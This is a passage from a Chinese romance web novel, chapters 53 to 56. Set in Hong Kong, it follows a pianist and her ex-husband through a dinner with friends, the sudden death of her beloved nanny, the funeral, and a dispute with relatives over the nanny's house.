贺羡棠记起她原本还在生气的,怎么被这男人三两句话哄的就消了? 她拍开沈澈的手,侧目瞪他,强调:“我还在生气呢!” 沈澈又咳嗽起来。 “别装了。”贺羡棠说,“你快好了!” 多少天了病还不好? 沈澈又环住她,把她抱到岛台上,仰头看她,眸光灿如晚星:“原谅我吧,cecilia。” 贺羡棠说:“不要。”她灵光一闪,想到自己那倒霉的好朋友,“Tina把叶微带去哪了?” “酒店吧。”沈澈掏出手机,“我问问。” 提到这事儿贺羡棠就生气。她晃着腿踢了沈澈一脚:“我以前还以为周聿安顶多就是女朋友换的频繁了些,但是有最起码的道德底线。” 贺羡棠“哼”了声,为叶微打抱不平:“这个渣男!你们男人是不是都这样?没几个好东西,管不住自己的下半身动物。” 沈澈急忙撇清关系:“天地良心,我和他不熟。” 他想起上次水边那两个外国女人,虽然早知道周聿安好这一口,可这到底是别人的事,沈澈懒得管懒得说。 现在就不一样了,贺羡棠要搞连坐。 沈澈补充道:“我强烈谴责他这种行为,毫无自制力,不忠诚,禽兽不如,真是太丢我们男人的脸了!” 贺羡棠双手捧着他的脸,微微撅了下嘴:“说的好像你好到哪里去一样。” 沈澈笑了,捏着贺羡棠的手在她水葱般的指尖上亲了一口。 “这点还是能保证的,我沈澈三十多了,婚前婚后,既没有前女友也没什么乱七八糟的青梅竹马,只有一个cecilia。” 贺羡棠依旧晃着腿,被他一番话讲的耳朵尖泛红。她有点心猿意马,想着——原来他们不算青梅竹马吗? 床安好了,Tina也把酒店地址和房间发来,贺羡棠跳下岛台,食指轻轻点了下沈澈肩膀:“留用察看。” / 贺羡棠最近几乎每天都查邮箱。 大约半月后,她收到了帕那索斯国际钢琴比赛赛事组的一封邮件,要求每位参赛选手提供一段不伴有管弦乐的演奏视频用于初选,曲目可以在巴赫《赋格的艺术》,海顿、莫扎特、贝多芬、舒伯特的奏鸣曲或者肖邦的练习曲中任意选择。 初选并不是很重要,一来只需要提供演奏视频意味着这段视频可以反复录制,二来贺羡棠弹了这么多年的钢琴,也算有点小名气,还不至于连一场国际比赛的初选都过不了。 思来想去,贺羡棠选择了肖邦练习曲Op.25No.9,也成蝴蝶。这首曲子短,旋律简易,气氛活泼,音色亮的像夏季午后暴烈的阳光,十分灵动,旋律间仿若有丛蝴蝶翩翩飞舞。 这首曲子从小练到大,已经相当熟练了。贺羡棠按规定提交了初选视频,接下来除了练琴就是等待。 为了空出档期参加比赛,她将原计划的几场音乐会延后。 四月份,香港的天气已经很暖和了,幸而不算闷热。贺羡棠的露台开始动工,香港规定的可施工时间是工作日的早上七点到晚上七点,正常其实是九点开工。 露台一施工,白天总会有噪音。贺羡棠就没法练琴了,她干脆带着钢琴跑到石澳去住——那栋房子是她七岁生日时林樾和贺齐送的。 大浪湾道旁二十三栋别墅,每一栋背后的业主都是顶级富豪。贺羡棠这一栋坐拥十六万平方尺的私人园林,修了花园、泳池和高尔夫球场,她一个人住太空旷无聊,所以这边一直闲置着。 不过也一直有管家佣人在打理。 暂时搬家的事忘记通知沈澈,沈董事长忙的昏天黑地,倒是也有几天没去找她,只在whatsapp上活跃,连上班路上的风景照都要拍了发给她,跟她说鱼木花开了。 贺羡棠看过就忘。 Mia回国了,约他们几个朋友一起到家里吃晚餐。 贺羡棠住的最远,到的最晚,叶微和赵珩已经到了。 她打过招呼,把带来的礼物放下,在公寓里转了一圈,没找到贺少川的身影,神戳戳地问Mia:“贺少川被你丢在瑞士啦?” Mia正开冰箱取她做的冻柠茶,闻言道:“我把他从阿尔卑斯山上推下去了。” 听这语气,两个人不知道有没有和好,但关系不坏。 贺羡棠装作很头疼的样子:“那怎么办啊?我们家公司后继无人了。” “其实我也不知道他去哪啦。”Mia倒了四杯出来,玻璃杯在岛台上排排坐,“我在瑞士和他打了场分手炮,分道扬镳,从此桥归桥路归路……” 贺羡棠盯着她判断这句话有几分可信。毕竟分手炮什么的听起来真的是Mia的作风。 她话没讲完,赵珩伸出手夺走杯子:“你听她的,满嘴跑火车。” 说着他猛灌一大口,又回沙发躺下了。 同样半死不活躺着的还有叶微。 她和周聿安分手了,断的干干净净,只是没想到周聿安一点都不玩藕断丝连那一套,分手第三天就无缝衔接了下一任,独留叶微一个人还没在失恋的阴影中走出来。 叶微踢了赵珩一脚:“我躺着也就罢了,你躺什么?” 赵珩两耳不闻窗外事,一心只在家里自闭,问:“你躺什么?” 又谈伤心事。叶微长叹一声:“周聿安劈腿了。” 赵珩说:“这不是很正常的吗?” 叶微不说话了,又踢了他一脚,生把他踹起来了。赵珩也不恼,拍了拍裤腿上的脚印,打开手机划拉了两下,跟叶微说:“不就是男人么?我再给你介绍个好的。” 叶微说:“要身价百亿那种。” 赵珩说:“我认识的没有低于这个身价的。” 叶微又说:“要长得帅又年轻的,不要老头子。” 赵珩说:“废话,我又不会坑你。” “算了吧。”叶微双目无神,“你们男人有几个好东西。” 她算是看透了,男人靠不住,有钱男人更靠不住! “这话说的。”赵珩说,“我就是个好东西啊!” 叶微斜觑了他一眼,那目光好像在说——“所以呢?有用吗?还不是连个女朋友都追不到。” 赵珩“啧”了声,又躺下了。 叶微打了鸡血似地攥紧拳头:“今年维密秀我要戴上大大大翅膀!” 赵珩一声不吭,连个这样的盼头都没有。 Mia朝贺羡棠一耸肩:“你看到了,赵珩这些天一直这副鬼样子。” 贺羡棠鸦翅般乌黑的睫毛眨了下,有点说不出什么滋味。 有些无力。 她不想伤害赵珩,可现在这些剪不清理还乱的关系,她也不知道该怎么办了。 Mia走过去一手拎起一个:“吃饭了躺什么尸,要躺都回家躺去!” 叶微站起来也跟没骨头似的,软绵绵地趴在Mia身上,赵珩一扭头,看见贺羡棠独自站在岛台前,两人目光一对视,贺羡棠朝他笑了笑,他又精神了,凑过来戳她胳膊:“cici,cici!” 贺羡棠嘿嘿地笑:“痒。” “我养了只猫。”赵珩捡些无关紧要的话题跟她聊。 贺羡棠问:“什么猫?” “小橘猫。” 赵珩给她看照片,真的还很小,毛都炸着,圆溜溜的大眼睛,特别可爱。 贺羡棠真心实意地夸:“好可爱啊。” 赵珩勾了下唇,得意洋洋地说:“还是我会挑吧?” 其实是他捡的。在路上遇见了,小奶猫浑身脏兮兮的,只有一双又圆又大的眼睛那么亮,他一下子就想到了贺羡棠,于是抱回家了。 贺羡棠小口抿着冻柠茶,跟他讨论这么小的小奶猫该怎么养,搁在一边的手机响了,她拿起来看了一眼,是沈澈打来的电话。 贺羡棠下意识看向赵珩,他眼底的光彩瞬间黯淡了,意兴阑珊地看向窗外夜景。 犹豫片刻,贺羡棠按了挂断。 还是先不要在他面前接沈澈的电话了。 另一边沈澈一脸凝重地盯着手机屏幕研究了半晌。 他不过几天没过来,物业管家告诉他贺羡棠搬走了。 这几日他确实忙了些,可消息也发,电话也打,贺羡棠心情好了,晚上还能听句“晚安”。 怎么忽然又一言不发地搬走了? 思来想去,沈澈认定,肯定是贺羡棠觉得他这几天忽视冷落了她。 撒娇! 这是撒娇! 54 第54章 ◎为了表现自己的宽容、大度、不计前嫌,窝窝囊囊地给那条动态点了个赞。◎ 从Mia家离开时,已经九点多了。 贺羡棠自己开了车,赵珩和她不顺路,一时竟找不到理由送她。 四月是多雨的季节,来时天色还晴朗,这会儿下起雨来,绵密的雨丝被风吹斜,香港岛一片雾蒙蒙,古树参天,张牙舞爪地伸向夜空,栀子花和杜鹃在翠绿雨意中肆意生长。 赵珩撑着把长柄黑伞,在贺羡棠车前驻足:“路上小心些。” 贺羡棠朝他点头,扣上安全带,笑的神采奕奕:“拜拜!得闲饮茶啦。” 她的车挂了自定义车牌,一个笑脸。赵珩盯着看了一会儿,直到车子转了个弯,那个笑脸彻底消失在视线里。 Mia过来拍了下他肩膀:“别灰心啊,我还是看好你的。” 赵珩:“嗯?” “姓沈的心太黑,cici哪里玩的过他啊。”Mia一本正经地说,“还是你好,傻一点,让人放心。” 听着不像什么好话。赵珩无奈地揉了下额角。 “别装深沉!”Mia说,“你替我把叶微送回去!” 雨下的不大,淅淅沥沥,夜里倒也舒服。石澳这边贺羡棠不常来,嫌弃路修的这样长,从最初一道铁艺大门拐进去,一路往上开,越过两个岗亭,才看见绿植环绕中红顶白墙的三层小别墅。 贺羡棠把车交给管家去停,一路上了三楼主卧,才想起来她还没给沈澈回电话。 响了几声,电话就接通了。沈澈没找到人,自然回公司加班,从远南集团顶层的办公室望出去,夜色朦胧。 “cici?”沈澈笑了声,主动报备,“我在公司加班。” “我才不关心。”贺羡棠躺进单人沙发里,问,“打电话做什么?” “晚上去找你,物业说你搬家了?”沈澈解释道,“我最近是有些忙,没去找你,我的错。” 贺羡棠听的云里雾里的:“什么啊?” 她也很忙,一天练八个小时的琴,最近就算沈澈来找她,她也没时间啊。 沈澈说:“你搬家,挂我电话,不是在因为这个生气吗?” “我为什么要生气?”贺羡棠很疑惑,“我搬出来是因为露台在施工,太吵了。” “……” 沈澈顿了一下,淡定自若地问:“搬去哪了?” “石澳。” 沈澈拎起西装外套:“我去找你。” “我去找你吧。”贺羡棠说,“你先忙。” 也不知这个时间为何要见面,但是贺羡棠听见他这样解释,听见他声音里掩不住的笑意,就觉得见一面也可以。 整个三层都是主卧,设计了三间衣帽间,贺羡棠转来转去,视线在一排排衣柜中扫过去,居然找不到一身合心意的衣服。 最后一间放的就是高定了。 太庄重了。 贺羡棠站在那扇木百叶双开门前,猛然反应过来自己在做什么,原路返回,换了身最简单的T恤牛仔裤。 到公司,雨已经停了。沈澈的助理等在楼下,带她乘直达董事长办公室的电梯。 远南没有加班文化,集团里加班最多的人,可能就是沈董事长这个工作狂了。 贺羡棠原以为他从执行董事升职成大老板,上面不再有他父亲压着,能省点心,怎么还是这副鬼样子,加不完的班,开不完的会,又因为有商会、工商联的职务,还有数不清的峰会、论坛和各种搭花架子的*活动要参加。 她抬手敲门,没等来一声“进”,等到他亲自开门。 贺羡棠笑了:“你怎么知道是我?” “我跟我助理说不要让别人进来。” 贺羡棠往里面扫了眼,她还没来过这间办公室,风格和他之前那间倒是很像,黑白灰三色,说好听点是沉稳,用Mia的话说是“性.冷淡”。 不过某人现在在这方面一点都不冷淡。 门关上,“咚”的一声,贺羡棠整个人被他压在门上。他动作间有些急不可耐,贺羡棠笑他:“这是你办公室。” 沈澈“嗯”了声:“办公室怎么了?” 贺羡棠挽着他脖子,说:“办公室不能乱来。” 这话是沈澈以前说过的。执行董事的那间办公室,贺羡棠倒是常常光顾,他工作忙,加班时,贺羡棠若无事,就会来送宵夜,免不了想跟他亲近。 两人同坐沙发上,贺羡棠一点一点地挪着屁股,冷不丁挽上他胳膊,等她再想亲他一口的时候,就会被冷冰冰地拒绝:“这是办公室,你不要乱来。” 沈澈不承认,垂首想堵住她的嘴,贺羡棠伸出一根食指挡在他唇前,“嘘”的动作,把这话又原封不动地还给他:“这是办公室,你不要乱来。” 沈澈“啧”了声,简直想回去扇曾经的自己一巴掌。 他那时候还觉得办公室和书房就是办公的地方,沈佑上学的时候不愿意回家,想来躺着玩手机都会被他丢出去。 现在才发现什么规矩什么礼仪根本不值一提。 沈澈脑袋埋在贺羡棠颈窝里,叹一口气:“都怪我。” 都怪他话说的太早,不知道因果报应来的这么快。 贺羡棠笑话他:“沈董不会这点自制力都没有吧?” 沈澈立刻说:“怎么会!” “还是说你见我就只想着那回事?” “绝对没有。” 贺羡棠笑吟吟地看着他。 沈澈悻悻然地松开手,说:“我还有份文件要看,你自己玩一会儿,无聊的话可以去研究茶水间。” 他办公室旁的茶水间里有埃塞俄比亚最好的咖啡豆和各类茶水,贺羡棠应该感兴趣。 贺羡棠才问他:“最近很忙吗,怎么这个点还在加班?” 沈澈一顿。 前几天忙,几个论坛峰会扎堆,他今早刚从澳门赶回来。今天确实没什么事,不然他也不会去找贺羡棠。 只不过他离婚后就很少回山顶住了,要么在酒店要么睡办公室。一个人大部分时候无聊又没事做,还不如工作。 “过几天要出差,有些工作提前安排好。” “哦。”贺羡棠欢欢喜喜地坐在他大腿上,“那我陪你。” 沈澈倒吸一口凉气,掐她腰上的软肉:“有这么陪的吗?” 她故意的吧? 故意来考验他的耐力。 贺羡棠一脸无辜:“怎么?” 沈澈深吸一口气:“没怎么?” 贺羡棠轻敲笔电控制面板:“那你快看。” 那份文件看的沈澈额头直冒汗,他心猿意马,速速看完,潦草批复,关了电脑正准备埋在贺羡棠颈窝里像猫吸猫薄荷一样猛吸一口时,发现她已经睡了。 呼吸绵长匀称,胸口略有起伏。沈澈稍微一动,她的脸就在他胸膛上蹭一下,细细的眉蹙起,小声嘀咕:“别乱动。” 还没睡熟。沈澈便不动了,这样抱着她坐了一会儿,浑身僵硬酸痛不已。 贺羡棠迷迷蒙蒙地睁开眼:“睡不着。” “那就不睡。”沈澈亲她耳垂,“做点别的。” 温热的鼻息扑过来,酥酥麻麻的。贺羡棠十分有底线有原则,推开他,拒绝地干脆利落:“不行。” 沈澈说:“回酒店。” 贺羡棠说:“你就是只想着那种事。” 一双眼睛里藏着狡黠笑意。沈澈算看出来了,她今夜铁了心不想让他好过。 谁叫他活该,当年乱说话。 沈澈挣扎:“过几天我就要去匈牙利了。” 贺羡棠说:“正好,没人来打扰我练琴了。” “前后要去半个多月。” 贺羡棠想了下:“那时我应该收到初选结果了。哎,你会去布达佩斯吗?” 沈澈说:“去。” 贺羡棠说:“那边有好多手工店,遇到漂亮的毛线你能不能带回来给我?我想送给绣姐,她现在好喜欢钩织。” “好。”看这副样子,一点也不会想他。沈澈败下阵来,“抱你去休息室睡?” 他的休息室除了装修风格和办公室一样冷淡之外,各项配置都不输奢牌酒店。贺羡棠洗漱完毕,埋在柔软的雁鸭绒被之中,听浴室哗哗不停的水流。 过了好久沈澈才出来,披着件灰色浴袍,身上还带着湿漉漉的水汽,凉丝丝的。 他冲的冷水澡。 贺羡棠摸了下他手背:“冲冷水澡对身体不好。” “那怪谁?”沈澈亲她鼻尖,关掉床头灯,说,“晚安,cecilia。” 贺羡棠没说话。 一片漆黑寂静里,他忽然想起来:“你今晚为什么挂我电话?” 贺羡棠滚进他怀里,有个热乎乎的人性抱枕抱着睡觉果然更舒服。 “你还是不要知道了。” 在飞往匈牙利的航班上,沈澈久违地点开ins,原本只是想看一下贺羡棠最近有没有发什么,结果Mia的动态先蹦出来了。 “cheers!【干杯】【干杯】【干杯】” 配图是几个人在她家的合照。 沈澈一眼就扫到了贺羡棠和她身边的赵珩,再一看时间,果然是她挂他电话的那天晚上! 他深吸一口气,险些让飞机掉头。思来想去,为了表现自己的宽容、大度、不计前嫌,又窝窝囊囊地给那条动态点了个赞。 退出,回whatsapp,找贺羡棠嘘寒问暖。 “醒了吗?记得吃早餐,不要喝冰饮。” 湾流飞到俄罗斯上空,他收到贺羡棠的回复。 “我在医院。” “绣姐快不行了。” 短短两行字,沈澈愣了几秒钟,几乎能想象到屏幕背后的贺羡棠如何崩溃。 绣姐之于她开讲,和家人无异。这种突如其来毫无征兆的生离死别,贺羡棠根本无法承受。 有一瞬间沈澈庆幸这次乘的是私人飞机。 他对机组人员说:“回香港。” 55 第55章 ◎“我也心疼你。”◎ 沈澈从俄罗斯回香港,花了十几个小时。 抵赤鱲角机场,是晚上十点钟。香港又飘了雨,沙沙的雨声催人倦意。 贺羡棠不知道该去哪,她已经在医院里坐了一天,闻讯前来探望的家人都被她打发回去了,耳边只有医用推车万向轮滚过地面的声音。 戴着燕尾帽的护士步履匆匆,重症监护室里彻夜灯火通明,仪器二十四小时不停歇。 绣姐突发心肌梗塞。她孤身在家,幸好被每日送海鲜上门的工人发现,拨急救电话,那时心跳已经停了。入院后请心外科主任会诊,手术五小时,转入ICU。至今生命体征都不平稳。 主刀的医生跟她说:“人事已尽,只能听天由命。” “什么叫人事已尽?”贺羡棠不能接受,仓促间她拉着医生的手,“她还那么年轻,有什么病不能治?能不能转去美国?或者需要什么最新的仪器最权威的医生,我都可以弄来,你救救她,我求你,你救救她……” “贺小姐。冷静些。”心外科的医生见过太多生离死别,有一种麻木的理智,“送来医院时太晚了,况且病人现在的情况不适合转院。” 贺羡棠松了手,缓缓坐回走廊的长椅上。重症监护室外的灯晃的她眼睛疼,她把脸埋在手心,不一会儿能听见哽咽的哭声。 绣姐明明还那么年轻,发病前也没有任何征兆。 为什么会这样? 为什么是她? 贺羡棠觉得脸上有层湿了的罩子蒙着,耳朵里也像灌满海水般,听什么声音都仿佛隔的很远。 她浑身冷的发抖,血液仿佛凝固了。 沈澈到医院时,贺羡棠整个人都僵住了,像一只放了很久很久的木偶,僵硬、灰白、残缺。 沈澈轻轻把手搭在她手背上,怕惊了她,很轻地说:“回去休息好不好?” 贺羡棠抬起脸,恍惚了好一会儿:“我是不是在做噩梦?” 明明上周她去看绣姐,她还生龙活虎,精神比她一个而立之年的青壮年还要好,同她讲她的裙子快织好了,只差收一道花边。 她还要蒸鱼给她吃,可惜那天贺羡棠赶着回家练琴,没有多待。 是不是她多待一会儿就好了,多待一会儿,就能发现绣姐身上出现的细微的异样,譬如胸闷,譬如肩颈痛。她会带绣姐到医院检查,她就不会突然病重,竟到了要生离死别那一步。 沈澈不知道说什么,轻轻抚掉她脸颊上一滴泪。 他没有体验过这种感情。 作为沈家的长子和继承人,沈诚明不乐意看到他太亲近或者依赖谁,其他的小孩从出生就有一个保姆或者管家,充当照管者的角色。但他没有。 沈澈身边的人总是换来换去,待不长久。沈诚明不相信时间长了保姆就会把雇主当作自己的孩子那一套,他觉得金钱、权利或者其他弱点才能更好地控制一个人。 但沈澈也能理解。 大家族里父母忙来忙去,父亲权威,母亲慈爱,兄弟姐妹也多,难免几个小孩各分一分注意力,只有保姆,那个一生未婚未育照顾了她三十几年的保姆一直陪在贺羡棠身边。 她的保姆才是真的只有她一个孩子。 沈澈问:“吃东西了吗?” 贺羡棠很缓慢地摇了下头。 “喝点鸡汤好不好?让他们送过来。” 贺羡棠又摇了下头。她想说让沈澈安静地陪她坐一会儿,可是刚想开口,发现上下唇黏在一块儿了——太久不说话,嘴唇又干又涩。 用力张开,“啵”的一声,贺羡棠没有力气再说话了。 沈澈在她身旁坐下,把外套披在她身上,紧紧搂着她没再说话。 漫长的如同潮水般的安静裹挟着人。 沈澈肩膀上又湿了,他一摸贺羡棠的脸,已经在泪水中泡软了。 “别哭了。”他说,“会没事的。” 生老病死人之常情,突如其来的变故前,除了接受,人没有什么招架之力。 无论这个人,是否富甲天下,是否一无所有。 可身为局外人,他没办法也没立场劝贺羡棠接受,只有“会没事的”这样一句飘渺的安慰。 贺羡棠终于攒了点力气:“我是不是应该让绣姐和我一起住。” 毫无起伏的语调,是肯定句。 “她跟我提过好几次,要搬来照顾我。我应该同意的,如果她和我一起,就不会生病都没人发现了。明明不是什么不治之症。” “都怪我。”贺羡棠说,“或者我应该给她找一个保姆照顾她。我为什么没想到呢?” “不怪你。”沈澈声音轻的像叹息,“她还年轻,谁也想不到会发生这样的事情。你不要自责,这和你无关。” “是啊,她还那么年轻。为什么会这样?” 她也不是想要个答案,何况这问题能有什么答案?命不好,运气不好,可为什么是她命不好运气不好? 沈澈抱着贺羡棠,觉得她一夜之间瘦了特别多,肩膀像薄薄的一片纸,他不敢用力,怕捏碎她。 不多时Tina送了盅鸡汤过来,沈澈哄她吃一点,贺羡棠没胃口。 “我不饿。” “都这样了还说不饿。”沈澈捏她鼻子,“等绣姐好了,你倒累垮了。” 贺羡棠抬眸看着他,眼睫一眨,水光敛去了。 他的话讲的那么自然,自然到让人坚信绣姐真的没事,用不了几天就能容光焕发地从ICU里出来。 “真的吗?” 沈澈只能说:“真的。” 他把汤匙送到贺羡棠唇边,看她抿了一小口,又说:“喝完汤我们回去休息好不好?有什么事医生会通知我们的,你这样在医院里熬着,熬坏身体了绣姐要心疼的。” 贺羡棠说:“她最心疼我。” “嗯,她心疼你。爹地和妈咪也心疼你,贺少川、贺舒、Mia、赵珩、叶微……大家都心疼你。”沈澈摸了下她的脸,“我也心疼你。” 贺羡棠没说话,一口一口地喝着汤。 她知道沈澈的言外之意,除了绣姐,她还有很多很多爱,她不能因为丢掉了其中一份就自暴自弃。 然而对她来说,每一份爱都是不一样的。就像她当年会因为与他无法两情相悦而黯然神伤一样,她现在更无法接受绣姐会离她远去。 那碗鸡汤贺羡棠喝了一小半就不想喝了。沈澈也不再勉强,怕她太久没吃东西,骤然吃多了要吐。 贺羡棠还是固执地守在重症监护室外。她精神好一些了,会和沈澈讲一些绣姐的事情。 “她原本的名字不叫常锦绣。” 贺羡棠停下了,她现在讲一句话要歇一会儿。沈澈就问:“叫什么?” “叫……”贺羡棠抿了下唇,“常债婆。妈咪也不知道,是她后来偷偷告诉我的。” 五六十年前的小村庄里那么陈旧,女儿是讨债的,儿子是养老的。她上面几个哥哥,家里又穷,本就养不起了,又生个女儿出来。女儿也就罢了,小时候还总生病,又瘦又弱,干不了什么活,她母亲说她是来讨债的。 “她到香港是偷渡来的。因为她家里收了人家的钱,给她哥哥盖房子,把她许给了个有病的男人。结果还没结婚,人就没了,那男人爸妈上门把钱讨回去了,她父母说她克夫,她在老家活不下去了,就想跑出来。” 贺羡棠一字一句说的很慢:“到香港以后,她给自己改了名字,锦绣前程的锦绣。她那时候打黑工,吃了不少苦,后来就干家政,妈咪给我选保姆的时候,她不应该来,但是当时有个人生病了,她临时顶替那个人。是命运把她送到我身边来当我另一个妈妈的。” “她告诉妈咪她不结婚,一辈子也不结婚,就专心照顾我,妈咪才把她留下的。”贺羡棠又想哭,“你不知道我小时候多讨厌,生起病来要人彻夜抱着,一放下就哭。” “她把我从那么小照顾到这么大。” “我十八岁去美国读书,觉得自己成年了,不让她跟着,她偷偷哭了好久,觉得我不需要她了。” “她说我的名字好听,羡棠羡棠,什么都不用羡慕的人才会羡慕海棠花。我听了很难过,她前半辈子过的那么苦。” “我总说要给她养老,让她安度晚年,我是她唯一的小孩,她只有我能依靠了。可是……可是……” 沈澈静静地听,偶尔拍一下贺羡棠的背。 现在除了陪伴他什么也做不了。幸好他还能陪着她。 有个护士忽然匆匆地拐进ICU,又匆匆地跑出来。 贺羡棠看着她的背影,眼前被灯光晃出重影,泪水蓄漫眼眶,挣扎着没掉出来,因此看着那群仓促而来的医生,一时都数不清是几个人。 “病人心跳骤停了。” “上ECMO急救!” 贺羡棠眼前一阵阵发晕,有几秒钟只有刺眼的光和一片过曝的白,等反应过来时,她越过沈澈,看病床上再次被推进手术室的那个人,面庞灰白浮肿,毫无生气。 脚步声嘈杂,万向轮像从她心脏上压过去。贺羡棠仿佛听见死神在耳边敲钟。 她眼前一黑,彻底失去意识前,沈澈接住了她。 “贺羡棠!” 56 第56章 ◎“你也滚!”◎ 香港的天晴了。 春光那样好,潮湿阴冷的冬季彻底过去,近乎透明的金色阳光慷慨地洒在这片土地上,榕树樟树棕榈树都茂盛,鱼木花也开了,春风中轻轻摇曳,空气里飘着一蓬一蓬的花香,各色的人穿梭在钢铁森林中,奔向属于他们的光明未来。 而有的人,在一片春光里,迎来了生命的终点。 鱼木花簌簌落下,光影在医院斑驳的外墙上游走,叮叮车的铃声划开一片寂静。沈澈揉了下贺羡棠的头发:“去陪陪绣姐吧。” 三次抢救,最终无效。昨夜那样漫长,漫长到贺羡棠觉得她永远也走不出那个夜晚了。 绣姐依旧没有意识,贺羡棠把脸贴在她手背上,惊心的凉,她摸不到脉搏,触手只有一片明显衰老的皱纹。 她是什么时候变老的呢? 在贺羡棠的记忆里,从小到大,她好像都没什么变化,只是忽然有一天,她冒出了第一根白发,第一条皱纹,于是衰老迅速降临了。 绣姐的手指动了一下,像是要帮她擦去眼泪,贺羡棠猛地抬头,像有什么心灵感应一样去看心电监护仪,血压越来越低,曲线波动,发出滴滴滴的声音,上面的数字跳来跳去。 贺羡棠想去叫医生,刚站起来,那道声音拉长了,如同耳鸣一样。有什么东西铺天盖地网下来,这次是真的耳鸣了,电流声刺啦刺啦的,贺羡棠被钉在原地,看医生蜂拥而来。 心上像浮着层油,什么都感受不到了。连沈澈来拉她的手,也是向前走了几步才反应过来的。 白布被缓缓拉上,贺羡棠喊:“不要!” 声音凄厉的像乌鸦在叫。 绣姐还没来得及跟她说一句话。 贺羡棠挣开沈澈的手扑上去,那具身体那么冰冷那么僵硬,触感像在梦里。 是噩梦吧?否则一切怎么这样快,毫无征兆地就天人永别了。 贺羡棠根本想不出没有绣姐的生活是怎样的。 三十余年的人生里,贺羡棠有过无数次离别,十几岁就离港远渡重洋,每一次登机前和家人朋友告别,都是轻飘飘的。她奔赴着属于她的未来,追求着属于她的理想,把离别看的那样轻,因为不久后能重逢。 这次不行了吗? 她心里不觉得痛,木木的,只觉得一切都是假的,哪有那么轻易就永别的?永远这个词不该出现在这里。 贺羡棠待的那样久,久到护士想上前扶起她。沈澈抬了下手,示意她后退。 他没见过贺羡棠这样,双目空洞无神地睁着,整个人安安静静的,只有眼泪无意识地往外流。 沈澈想起绣姐说在她家乡里,小孩子受了惊吓,一部分魂魄会飞走,要找能通鬼神的人叫回来,再把符纸烧成灰泡进水里喝下去。 贺羡棠一部分的魂魄好像也随她走了。 沈澈忽然有点后悔,当时没问她是什么样的人,又是什么样的符。 生死居然是这样的易事,他也有些感概,更多的是担心贺羡棠的状态,伸出手搂她肩膀上,签几百亿合同都云淡风轻的手因为紧绷而微微颤抖。 一句话也说不出来,沈澈只是抱着贺羡棠,和她并肩看绣姐被推走了,医院里冷气很低,白布被吹起一角,她腕上仍戴着贺羡棠送她的翠绿手镯。 说是抱,和托也差不多,贺羡棠已经有点站不住了,浑身一点力气也没有。 那一天在沉默、无尽的眼泪和明媚阳光中过去。 明明是春天了,贺羡棠倒一直觉得冷。她总缩在家里,窗帘紧闭,灯也不开,在一片漆黑里披着条羊毛毯子。 沈澈几乎寸步不离,几个朋友打电话也是他接的,接到赵珩那一通,想来针锋相对的两个人同时安静。 赵珩问贺羡棠状态怎么样,沈澈如实说“不好”,那边沉默几息,挂了电话。居然前所未有地和谐。 贺羡棠总是睡不好,不让开灯也不让拉窗帘,永远黑漆漆的房子分辨不出时间,两人过一种昼夜颠倒的生活。沈澈睡的比她更少,因为他只能在贺羡棠睡一会儿的时候去处理工作。 绣姐的后事是沈澈办的。 只有在询问贺羡棠的意见时,她才会有反应。 找人算好了日子,陵园傍山面海,土葬,老人家讲究这个,用了金丝楠木的棺材。一切都安排的很妥帖,贺羡棠没有其他意见,只是她变得迷信起来,在绣姐手腕内侧留下一个小小的印记,期待来世重逢相认。 葬礼前她总算打起一点精神。 养老送终。这两个词总是联系在一起的,养老贺羡棠没能做到,她坚持要送终。 绣姐无儿无女也没有配偶,葬礼前老家的那伙亲戚忽然冒出来了,贺羡棠无意纠缠陈年往事,只想办好葬礼,把他们安置在酒店。 “我不能给她扶灵。” 她是亲人,不应在此列。 沈澈说:“我替你扶。” 另外七人是谁贺羡棠也不在乎了。沈家的话事人亲自给妻子的保姆扶灵,一定能引来一群记者,她嘱咐沈澈做好安保措施。 风清日朗的一天。贺羡棠眼睛肿的不能见人,戴了墨镜。她从不知葬礼这样累人,是一种让人在灵前,已经迈不开步子返回人间的疲劳。 贺羡棠在灵前,放了一束洋紫荆。绣姐对家乡没有什么依恋,她说紫荆花盛开的地方,给了她第二次生命。 下葬的时间是大师拿了八字算好的,说这个时间能保佑绣姐来世平安顺遂直上青云,精准到分钟,便一刻也耽误不得,贺羡棠眼神一错也不错,恍惚间想起她婚礼前一晚,绣姐连夜给她熨裙褂的样子。 这居然是最后的告别了。 直到葬礼结束她也无法相信。 怎么会呢?九龙塘的小别墅里明明应该还有一个人等着她回去,给她煲汤蒸鱼,给她织毛线裙子。 葬礼结束,人都散了,贺羡棠又坐了很久,久到她的腿都有点麻了,起身时踉跄了一下,沈澈扶住她,说:“回家了。” 贺羡棠说:“去九龙塘吧。” 那里真的没人等她了吗? 她不相信。 沈澈担心她睹物思人:“改天吧,你今天很累了。” 贺羡棠摇头。 车拐进金巴伦道,远远的,贺羡棠看见那栋别墅亮着灯。她眼睛亮了又亮,让司机开快一点,再快一点。 她就知道那是噩梦。 等会儿她推门进去,绣姐肯定在客厅织毛线,她的小裙子已经织好了,绣姐让她去试穿一下,然后留她吃晚餐。 贺羡棠步子都有些雀跃,没等车子挺稳就跳下车,轻盈地推开那扇门,客厅里站着好些陌生的面孔。 贺羡棠的目光一寸寸看过去。说陌生也不算,因为白天葬礼上他们刚刚见过,这些都是绣姐老家的亲戚,有几个和她长的很像的,看年龄应该是她哥哥。 一个一身黑的男人搓了搓手,讪笑着叫她:“贺小姐。” 他一笑,露出一排被烟熏黄的牙齿。黑色西装穿在他身上不伦不类,他也有些不适应,不停地伸伸胳膊挠下脖子。 “你们怎么在这儿?” “这不是……”他说,“这不是我妹妹去世了么,我们……” 贺羡棠说:“滚。” 她往楼上卧室走,想去找她的毛线裙子。 “滚滚滚,”男人陪着笑,招呼其他人,“贺小姐真伤心呢,咱们等贺小姐逛完了再回来。” 贺羡棠回头看他:“你还回来干什么?” “这话说的,这房子现在是我们的啊!” 贺羡棠疑惑:“你的?” 男人强调:“不是我的,是我们大家伙的。” 说着指了下他身边几个人,那些人纷纷附和。 一群……苍蝇。 吵死了。 贺羡棠平复心底那点烦躁,蹙了下眉,平静地说:“房子是我买的。” 男人察觉出一点不对劲,怀疑贺羡棠把这房子收回去。他脸色变了几变,这还得了? 他早就查过了,这屋契上就是他妹妹常锦绣的名字!别管是按照香港还是内地的法律,这房子都是他们几个兄弟姐妹的! 男人冷了脸:“别管谁买的,它是我妹妹的。现在我妹妹人没了,这遗产它就是我们的啊。” 他清了清嗓子:“贺小姐您这么有钱,不至于连保姆的遗产都要抢走吧?那我妹妹这不是白在你们家干了这么多年?” 贺羡棠总算知道他们此行的目的。 